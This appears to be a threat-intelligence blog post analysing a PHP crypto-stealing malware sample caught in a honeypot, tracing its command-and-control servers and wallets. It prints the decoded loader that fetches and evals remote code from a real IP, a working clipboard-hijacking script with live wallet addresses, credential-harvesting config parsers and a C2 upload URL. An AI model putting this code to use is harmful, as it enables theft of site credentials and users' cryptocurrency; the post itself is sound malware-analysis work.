
It all started with a slack message from boB Rudis:
“Hey, I keep seeing this string. Any ideas?”
d2=%3D%3DQXisTKpcCd4RnLsF3ckN3LlR2bj9yN4EzL3gTMvUjMx4COyIjL1QTMuUDNv8iOwRHdodCKzRnblRnbvN2X0V2ZfVGbpZGKsFmdlBkIsIiIsIibvlGdj5Wdm9VZ0FWZyNmIsIyYuVnZfJXZzV3XsxWYjJyWIt certainly seemed weird. The judicious amount of %3D meant it was likely URL encoded. Decoded that and got this:
d2===QXisTKpcCd4RnLsF3ckN3LlR2bj9yN4EzL3gTMvUjMx4COyIjL1QTMuUDNv8iOwRHdodCKzRnblRnbvN2X0V2ZfVGbpZGKsFmdlBkIsIiIsIibvlGdj5Wdm9VZ0FWZyNmIsIyYuVnZfJXZzV3XsxWYjJyWI thought maybe it was a cookie value at first, then Ron said “Hey, this looks like backwards base64.”
Dear reader, I cannot describe the joy I have at working with the type of person who can look at a string and go “ah yeah, backwards base64.”
He proved it with a couple of ruby commands, and I double checked on my end by putting it into cyberchef, removing the d2= at the beginning, and then setting the recipe to reverse the string and decode base64.
The end result:
["call_user_func","create_function","","@eval(file_get_contents('http://45.145.228.125/187/187/code/sdsql.txt'));"]Wow! Looks like we’ve got something here!
Don’t Try This At Home
Having a link, and a file to download that was definitely going to be something unsavory, I did what I tell everyone I know not to do, and I purposely downloaded the file. I named it “shadyaf.txt” to remind myself to absolutely, under no circumstances, actually run the code in the file. So, what do we have?
@ini_set('output_buffering', '0');
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
ob_implicit_flush(true);
// 确保错误显示开启
@ini_set("display_errors", "1");
@error_reporting(E_ALL);
// 设置脚本执行参数
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '1024M');
// 立即发送响应头,让客户端知道请求已接收
header('Content-Type: text/plain; charset=utf-8');
echo "脚本已启动,正在后台执行...\n";
echo "详细日志请查看: /tmp/" . (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : 'unknown') . "db_script_error.log\n";
// 立即刷新输出缓冲区
ob_end_flush();
flush();
This is only the first few lines, for reasons that will soon become obvious.
@ini_set is a phpism, so we’ve got a good place from which to start. What do the comments say? No idea! While I’m studying Mandarin for situations exactly like this, my current skills are more “Hello, how are you? Thank you, goodbye!” and less “here is documentation.”
So, off to the online translator. I used Kagi Translate for this, but I’m sure google translate, deepL, or scanning the comments into pleco could get you there all the same.
Let’s take a look at the same code again, but next to the simplified Chinese comments I will insert the translation:
@ini_set('output_buffering', '0');
@ini_set('zlib.output_compression', 0);
@ini_set('implicit_flush', 1);
ob_implicit_flush(true);
// 确保错误显示开启 -> Make sure error display is turned on
@ini_set("display_errors", "1");
@error_reporting(E_ALL);
// 设置脚本执行参数 -> Set script execution parameters
@ignore_user_abort(true);
@set_time_limit(0);
@ini_set('memory_limit', '1024M');
// 立即发送响应头,让客户端知道请求已接收 -> Send the response headers immediately to let the client know the request has been received.
header('Content-Type: text/plain; charset=utf-8');
echo "脚本已启动,正在后台执行...\n"; //Script started, running in the background...
echo "详细日志请查看: /tmp/" . (isset($_SERVER['HTTP_HOST'])//For detailed logs, please check: /tmp/
? $_SERVER['HTTP_HOST'] : 'unknown') . "db_script_error.log\n";
// 立即刷新输出缓冲区 -> Flush the output buffer immediately
ob_end_flush();
flush();Pretty normal startup text, except putting logs in /tmp/ is an interesting choice. /tmp/ is the temporary folder on a Unix or Linux system, being a folder held in memory. When you turn the computer off, /tmp/ gets wiped. It’s a popular choice to store scripts and logs in /tmp/ if you would like whoever is running the computer to not know what you’re doing.
I then skimmed through more of the script. Usually, if I’m reading a script for the first time, I skim the parts that seem normal-ish and then use anything strange looking as a jumping off point to dig deeper. With that in mind, while there’s some interesting stuff about detecting pid numbers and php versions, I only paused when I found this line.
// ==================== 加密货币地址替换功能 ==================== ->Cryptocurrency address replacement feature
function execute_crypto_replacement() {
db_log_error("开始执行加密货币地址替换功能");
// 新的加密货币地址 ->New cryptocurrency address
$new_addresses = аrrау ([
'trc' => 'TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq',
'eth' => '0x8f5514751585f37d5d4949b7673f420aafe7cfc4',
'btc' => 'bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu',
'btc1' => '1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN',
'btc3' => '36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j',
]);
$ocwd = "/www/wwwroot";
$jsstr = base64_encode("(function(){function rca() {const tar = /(?:\\b|[^A-Za-z0-9])T[a-zA-Z0-9]{33}(?:\\b|[^A-Za-z0-9])/g,ear = /(?:\\b|[^A-Za-z0-9])0x[a-fA-F0-9]{40}(?:\\b|[^A-Za-z0-9])/g,bar = /(?:\\b|[^A-Za-z0-9])(?:1[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\\b|[^A-Za-z0-9])/g,bar0 = /(?:\\b|[^A-Za-z0-9])(?:3[a-km-zA-HJ-NP-Z1-9]{25,34})(?:\\b|[^A-Za-z0-9])/g,bar1 = /(?:\\b|[^A-Za-z0-9])(?:bc1q[a-zA-Z0-9]{38})(?:\\b|[^A-Za-z0-9])/g,bar2 = /(?:\\b|[^A-Za-z0-9])(?:bc1p[a-zA-Z0-9]{58})(?:\\b|[^A-Za-z0-9])/g;document.addEventListener('copy', function(e) {const ttc = window.getSelection().toString();if (ttc.match(tar)) {const ncd = ttc.replace(tar, '".$new_addresses['trc']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(ear)) {const ncd = ttc.replace(ear, '".$new_addresses['eth']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar)) {const ncd = ttc.replace(bar, '".$new_addresses['btc1']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar0)) {const ncd = ttc.replace(bar0, '".$new_addresses['btc3']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar1)) {const ncd = ttc.replace(bar1, '".$new_addresses['btc']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();} else if (ttc.match(bar2)) {const ncd = ttc.replace(bar2, '".$new_addresses['btc']."');e.clipboardData.setData('text/plain', ncd);e.preventDefault();}});}setTimeout(()=>{const obs = new MutationObserver(ml => {for (const m of ml) {if (m.type === 'childList') {rca();}}});obs.observe(document.body, { childList: true, subtree: true });},1000);rca();})();");
$str = base64_encode("\$content=str_replace(\"</head>\",\"<script>".base64_decode($jsstr)."</script></head>\",\$content);");
As soon as I saw this and the translation, I sent a quick message to the team:
[1:56 PM]they commented their code, which is really sweet of them. translating now
[1:59 PM]it's a crypto minerSo, what are we looking at?
Let’s go over it in smaller chunks.
// ==================== 加密货币地址替换功能 ==================== ->Cryptocurrency address replacement feature
function execute_crypto_replacement() {
db_log_error("开始执行加密货币地址替换功能"); //Initiate cryptocurrency address replacement function
// 新的加密货币地址 ->New cryptocurrency address
$new_addresses = аrrау ([
'trc' => 'TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq',
'eth' => '0x8f5514751585f37d5d4949b7673f420aafe7cfc4',
'btc' => 'bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu',
'btc1' => '1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN',
'btc3' => '36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j',
]);The nicely-bannered name of this function tells us that we are going to be replacing some cryptocurrency wallet addresses. We then get an array of cryptocurrency wallets.
The first wallet was confusing at first. I recognized TRC as the short name for terracoin, but that’s not a valid wallet value for it. Turns out it’s TRON.
The second wallet is ethereum, the third wallet is bitcoin, and the wallets labelled ‘btc1’ and ‘btc3’ (they couldn’t have kept their numbering scheme the same?) are polyglot wallets, working for both bitcoin and the rapid transaction-ready bitcoin cash coin.
We will look at these wallets in a little bit. Trust me, it gets fun. For now, we’re going to put this info in our back pocket and keep looking at interesting parts of the script.
“What else is there?” -Prince Derek, The Swan Princess (1994)
One other oddity in this script is how it looks for database config files.
// ==================== 数据库配置文件解析函数 ==================== ->Database configuration file parsing function
function db_parsePhpArrayConfig($content, $file) {
db_log_error("尝试解析PHP数组配置: " . basename($file));
if (!preg_match('/return\s*\[\s*(.*?)\s*\]\s*;/s', $content, $arrayMatch)) {
return [];
}
$dbConfig = [
'hostname' => 'localhost',
'database' => '',
'username' => '',
'password' => '',
'hostport' => '3306'
];
$patterns = [
'hostname' => "/'hostname'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/",
'database' => "/'database'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/",
'username' => "/'username'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/",
'password' => "/'password'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/",
'hostport' => "/'hostport'\s*=>\s*(?:(Env::get\([^,]+,\s*'([^']+)'\))|'([^']*)'|\\$[a-zA-Z0-9_]+\[['\"]([^'\"]+)['\"]\])/"
];So, it looks for config files for thinkPHP, using some regex to find keys and values for the hostname, database name, username, password and port number. It’s what I would do if I was trying to read as much info as possible, but one part stuck out to me as weird.
After looking for this info, it has a specific function to make sure it’s looking at ThinkAdmin databases.
$isThinkAdmin = (strpos($content, 'ThinkAdmin') !== false ||
(strpos($content, 'zoujingli/ThinkAdmin') !== false));
if (!empty($foundKeys['database']) && !empty($foundKeys['username'])) {
db_log_error("成功解析PHP数组配置"); //->Successfully parsed PHP array configuration
return [[
'type' => $isThinkAdmin ? 'thinkadmin' : 'php_array',
'config' => $dbConfig
]];ThinkAdmin is management software for ThinkPHP, which is itself a PHP framework as part of the Think suite of tools.
So, it’s looking for ThinkAdmin so it knows what to look for. I am not an expert in PHP by any stretch of the imagination but, given all the sites related to this being written in Chinese (simplified) my guess is that Think* programs are mostly aimed at a Chinese audience. The plot thickens!
Or does it?
Fear not, American web developer, they’ve got you covered.
function db_parseWordPressConfig($content, $file) {
$basename = basename($file);
if ($basename !== 'wp-config.php') return [];
db_log_error("尝试解析WordPress配置: $basename"); //->Attempting to parse WordPress configuration
$dbConfig = array(
'hostname' => 'localhost',
'database' => '',
'username' => '',
'password' => '',
'hostport' => '3306'
);They also look for Wordpress php databases 🙂
They actually look for and parse a lot of files. Here’s the list from the main parsing function:
$parsers = [
'db_parseWordPressConfig',
'db_parseThinkPhpConfig',
'db_parseNestedPhpConfig',
'db_parsePhpArrayConfig',
'db_parseEnvDefaultConfig',
'db_parseEnvSectionConfig',
'db_parseEnvConfig',
'db_parseIniConfig',
'db_parseDefineConfig',
'db_parseFallbackConfig'
];This cryptostealer is more thorough about edge case configs than I am when I’m writing code for myself, but I’m trying not to let that bum me out too much.
But what’s it trying to do with all this database info? So glad you asked!
// ==================== 数据库替换主逻辑 ====================->Main database replacement logic
try {
db_log_error("===== 数据库替换主逻辑开始 ====="); //->Database replacement main logic start
echo "=== 数据库扫描与替换脚本 ===\n"; //->Database scan and replace script
echo "版本: 2024-05-20 (修复版 - 严格长度检测)\n\n"; //->Version: 2024-05-20 (Fixed Version - Strict Length Detection)First, it looks for your databases. Then, it assigns a unique id to each and tries to connect over mysql. Assuming it succeeds in that, it shows you a list of all the tables it found.
// 获取所有表 ->Get all tables
$tables = array();
$result = $conn->query("SHOW TABLES");
if (!$result) {
echo " [!] 获取表列表失败: " . $conn->error . "\n"; //->Failed to retrieve table list
db_log_error("SHOW TABLES失败: " . $conn->error); //->SHOW TABLES failed
$conn->close();
continue;After enumerating your databases and listing all your tables, it pulls some “sample data” from each table.
After that, you get an extremely ominous function.
// ==================== 数据库替换主逻辑 ==================== ->Main database replacement logic
try {
db_log_error("===== 数据库替换主逻辑开始 ====="); //->Database replacement main logic start
echo "=== 数据库扫描与替换脚本 ===\n"; //->Database scan and replace script
echo "版本: 2024-05-20 (修复版 - 严格长度检测)\n\n"; //->Version: 2024-05-20 (Fixed Version - Strict Length Detection)It goes through each of your databases, ini files, config files and .env files and, using user-submitted rules, methodically goes through and replaces every matched entry with whatever you want it to say.
What is the typical replacement data? I’m not sure at the moment. It could be a ransom note, or replacing more crypto wallets with the script’s wallets, or making data just a little bit wrong to throw off some larger process that I’m otherwise not seeing.
Either way, this has a timestamp and “fixed version,” implying some amount of project maintenance and bug squashing done by whoever is using this.
After doing its thing, it packs up the table info, collected samples, log files, pid files and client info and uploads to a command and control server.
$url = 'http://c2c.deepgtp.net:39010/api/upload';The c2c subdomain is an nginx server on ubuntu on a server in japan, per URLScan. I was curious what the top level domain looked like, so I tried www as well. Turns out their www is in a tencent datacenter in singapore. Neat!
….also neat is what their www domain is saying.
mail.deepgtp.net API Gateway
Available endpoints:
- GET/POST /api/email/verify
- GET /healthA mail server, you say? Let’s jiggle the doorknobs. I connected to our slightly shady VPN and followed the instructions on the website.
localhost% curl --request GET --url https://mail.deepgtp.net/health
{"status":"ok","stored_emails":7}
curl --request GET --url https://mail.deepgtp.net/api/email/verify
{"detail":"Method Not Allowed"}dig mail.deepgtp.net/health
; <<>> DiG 9.20.18 <<>> mail.deepgtp.net/health
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NXDOMAIN, id: 62317
;; flags: qr rd ra; QUERY: 1, ANSWER: 0, AUTHORITY: 1, ADDITIONAL: 1
;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4095
;; QUESTION SECTION:
;mail.deepgtp.net/health. IN A
;; AUTHORITY SECTION:
. 86399 IN SOA a.root-servers.net. nstld.verisign-grs.com. 2026021102 1800 900 604800 86400
;; Query time: 39 msec
;; SERVER: 100.100.100.100#53(100.100.100.100) (UDP)
;; WHEN: Wed Feb 11 23:23:46 EST 2026
;; MSG SIZE rcvd: 127
Interesting. No immediately visible MX server. I wonder if they’re actually using an email protocol or if it’s a front end for sending log files. I tried sending a GET request and a POST request to the upload api endpoint to see if I got any message, but didn’t get one.
Follow The Money
Now that we’ve gone over the script and tried to spy on the c2 server, let’s get back to those crypto wallets.
Counting two extra wallet addresses from the bottom of the script, we have the following wallets:
BTC:
btc:bc1quzk7um3n0nu9wfsdmkseuh7m359t4eq89snuyu
btc1:1QJXBe2sKFo3hDS4yqDRnm967zRRz4XTrN
btc3:36KdRf3KALiiNQbnakiSxKjE13ocd1vV4j
ETH:
eth1:0x8f5514751585f37d5d4949b7673f420aafe7cfc4
eth2:0x77843290a868e4F789619D8B4D2074BD5DF4C91d
TRON:
tron1:TXrn6VVdcCDeQvc4B6MBweN3L9dHPppNkq
tron2:TAM8cBHRFTwVi4o18iQzyUL4JxujyZMPik
What activity are we seeing on these wallets?
The first bitcoin wallet listed was part of a 105 wallet transfer from a much larger wallet. That wallet only gained $126, but the total moved out of the larger wallet was over 12,000 dollars. That’s huge!
The second wallet had no activity.
The third wallet had some activity, though not as much.
The first ethereum wallet had no transactions. The second wallet had several small transactions from other wallets going into it
The first tron wallet has smaller transactions. The second wallet has $2527.77, mostly in tethered USD token, a stablecoin meant to have a 1:1 value ratio with the US dollar.
The charts tell an interesting story. Let’s start with the bitcoin wallets.

To the right are the wallets from the script. To the left are direct transfers into those wallets.
I find it hard to keep track of wallet names when they’re all just the wallet address, so I started labelling them the names from the Super Famicom game Fighting Baseball, infamous for having wonderfully absurd American-ish names.
Things quickly got out of hand.

It hurts my eyes to try and look at all this, so let’s zoom in on some transactions I find personally interesting.
Here is something that stuck out to me. I’ve colored transactions from exchange wallets in green and peer to peer transactions in blue.

On the 9th of February, we see Todd Bonzalez send 11.70 bitcoin to Raul Chamberlain. The high price for bitcoin on the 9th was $71,369.97 USD, meaning this transaction was for a whopping $835,028.65.
Later that same day, Mark Smoth sends 4.30 bitcoin to Raul, which amounts to about $306,890.87. Three days later, Raul sends Todd 0.0001000 BTC, or about 7 bucks.
Weird! But not directly related to the wallets listed in the script. Let’s get back on track.

On January 11th, the wallet labelled “btc” gets $45-$50 each from Onson Sweemey, Darryl Archidald and Sleve McDichael. Why is it all at the same time?

The wallet labelled “btc3” got a hundred bucks from Anatoli Smorin on the third, and is otherwise pretty quiet on the income front.
btc1 is not getting a piece of this pie. Maybe it’s an offline cold wallet? It has no transactions listed online.
Now, let’s see our outbounds.

Btc and btc 3 each send about 150 bucks to the OKX crypto exchange and Sam Quitter, respectively. Again, no activity from btc1, which makes me suspect a cold wallet.
Let’s look at the ethereum wallets!
The first thing I learned is that the first ethereum wallet listed is actually used for Binance Smart Contract coin.

The second thing I learned is that it’s mostly small transactions to and from existing exchanges. Small personal wallet trying to get in on the action maybe?
The second ethereum wallet is the good stuff, though.

They buy a little over $1000 worth of USDcoin, USD Tether and Ethereum, mostly from exchanges or swap wallets (basically a way to try and avoid “gas”, or process fees, through direct trading) before sending a tidy package of about $300 worth of ethereum to the metamask swap router. Metamask is a popular wallet, but also super popular among scammers because it has a reputation for less experienced users and less strict security measures. Metamask was the wallet of choice among NFT-stealing scams during that weird period.
Yes, I am as ashamed of myself for knowing this much about ethereum as you might think. But, job’s gotta be done, and cryptocurrency isn’t referred to as “solving sudoku to buy drugs” for nothing, so I keep tabs on the cryptocurrency scene.
What can we make of all this?
It seems like the operator of this script has had a fairly successful crypto stealing operation for a minimum of 2 years. They have multiple crypto wallets, operate servers across Hong Kong, Japan and Singapore, and their crypto wallets exhibit transaction behavior similar to what I’ve seen if someone is trying to tumble their coins in between their hot and cold wallets.
The IP address for the malware script was based in Hong Kong, but the comments in the script are in simplified Chinese, which is mostly a thing in China and Singapore. This could mean a Chinese or Singaporean developer, writing comments in the language they know (though English is very popular in Singapore as a lingua franca), a developer in Hong Kong or elsewhere writing in mandarin with the simplified character set to throw people off their trail, or could indicate the use of large language models, which tend to default “chinese” as Mandarin with the simplified character set.
Whatever the true face of this malware developer is, we now have an idea who how they operate, where they operate from, and what kinds of websites they like to target.
As for the backwards base64, boB sent me this link that shows exactly what we were looking at. The bot exploits a system, gets nice and cozy, then encodes their request to the refresh and exfiltration script in base64, reverses the string, and makes it look like a cookie value. That indicates that this was either an already-infected system (bad news for our honeypot), or they entered the wrong IP address when sending the request (bad news for the operator).
A rose by any other name would steal crypto just as openly.
Historically, Greynoise does not do attribution. However, in my own notes I’ve been naming whoever is operating this thing Aobrej, which is Jerboa backwards.
The Jerboa is an elephant-eared mouselike rodent. The group targets PHP, which has an elephant mascot, and reversing their download command and hiding it as a cookie value made me think of the book “If You Give a Mouse a Cookie” by Laura Joffe Numeroff. So, take something that is an elephant and a mouse, make it backwards, you got Aobrej.
I’ll post followups if I see anything else that looks like Aobrej. For now, I’m going to go get some sleep.